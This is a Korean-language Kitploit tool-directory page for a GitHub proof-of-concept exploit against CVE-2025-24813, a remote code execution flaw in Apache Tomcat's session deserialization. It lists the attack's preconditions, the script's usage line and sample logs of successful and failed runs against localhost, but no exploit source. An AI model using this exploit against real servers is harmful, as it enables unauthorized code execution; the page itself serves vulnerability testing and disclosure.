Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
POC-CVE-2025-24813 — 이 저장소에는 Apache Tomcat의 원격 코드 실행(RCE) 취약점인 **CVE-2025-24813**을 악용하기 위한 자동화된 개념 증명(PoC) 스크립트가 포함되어 있습니다. 이 취약점은 공격자가 악성 직렬화 페이로드를 서버에 업로드할 수 있게 하며, 특정 조건이 충족되면 역직렬화를 통한 임의 코드 실행으로 이어집니다. | Kitploit
도구/GitHubGitHub/absholi7ly/poc-cve-2025-24813
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubabsholi7ly/poc-cve-2025-24813

POC-CVE-2025-24813

이 저장소에는 Apache Tomcat의 원격 코드 실행(RCE) 취약점인 **CVE-2025-24813**을 악용하기 위한 자동화된 개념 증명(PoC) 스크립트가 포함되어 있습니다. 이 취약점은 공격자가 악성 직렬화 페이로드를 서버에 업로드할 수 있게 하며, 특정 조건이 충족되면 역직렬화를 통한 임의 코드 실행으로 이어집니다.

저장소 보기
1954341년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-24813 Apache Tomcat RCE PoC

CVE-2025-24813를 악용하는 개념 증명(PoC) 코드로, Apache Tomcat의 원격 코드 실행(RCE) 취약점입니다. 이 취약점을 통해 공격자는 악성 직렬화 페이로드를 서버에 업로드할 수 있으며, 특정 조건이 충족되면 역직렬화를 통해 임의 코드 실행으로 이어집니다.

설명

CVE-2025-24813은 업로드된 세션 파일의 부적절한 처리와 역직렬화 메커니즘을 이용하는 Apache Tomcat의 이론적 RCE 취약점입니다. 공격자는 쓰기 가능한 디렉터리(예: /uploads/../sessions/)에 조작된 페이로드를 업로드하여 역직렬화를 트리거하고, 대상 서버에서 임의 명령을 실행할 수 있습니다.


성공적인 악용을 위한 사전 조건

이 PoC가 취약점을 성공적으로 악용하려면 다음 조건이 충족되어야 합니다.

  1. Apache Tomcat 버전: 대상은 취약한 버전의 Apache Tomcat을 실행 중이어야 합니다.
  2. 쓰기 가능한 디렉터리: 서버가 PUT 요청을 허용해야 합니다.
  3. 역직렬화 트리거: 서버가 업로드된 세션 파일을 처리(예: /index.jsp에 대한 GET 요청)하고 페이로드의 역직렬화를 트리거해야 합니다.
  • Java 환경: 공격자의 컴퓨터에는 ysoserial을 사용하여 페이로드를 생성하거나 Java 기반 페이로드를 컴파일하기 위해 Java가 설치되어 있어야 합니다.
  • ysoserial(선택 사항): ysoserial 페이로드 유형을 사용하는 경우 ysoserial.jar 파일이 로컬에 있어야 합니다.

  • root@kitploit:~
    python CVE-2025-24813.py <target_url> [options]
    

    출력

    • 성공적인 악용:
    root@kitploit:~
    [+] Server is writable via PUT: http://localhost:8081/check.txt
    [*] Session ID: absholi7ly
    [+] Payload generated successfully: payload.ser
    [+] Payload uploaded with status 409 (Conflict): http://localhost:8081/uploads/../sessions/absholi7ly.session
    [+] Exploit succeeded! Server returned 500 after deserialization.
    [+] Target http://localhost:8081 is vulnerable to CVE-2025-24813!
    [+] Temporary file removed: payload.ser
    
    • 실패한 악용:
    root@kitploit:~
    [+] Server is writable via PUT: http://localhost:8081/check.txt
    [*] Session ID: absholi7ly
    [+] Payload generated successfully: payload.ser
    [-] Payload upload failed: http://localhost:8081/uploads/../sessions/absholi7ly.session (HTTP 403)
    [-] Target http://localhost:8081 does not appear vulnerable or exploit failed.
    [+] Temporary file removed: payload.ser
    
    도구 다운로드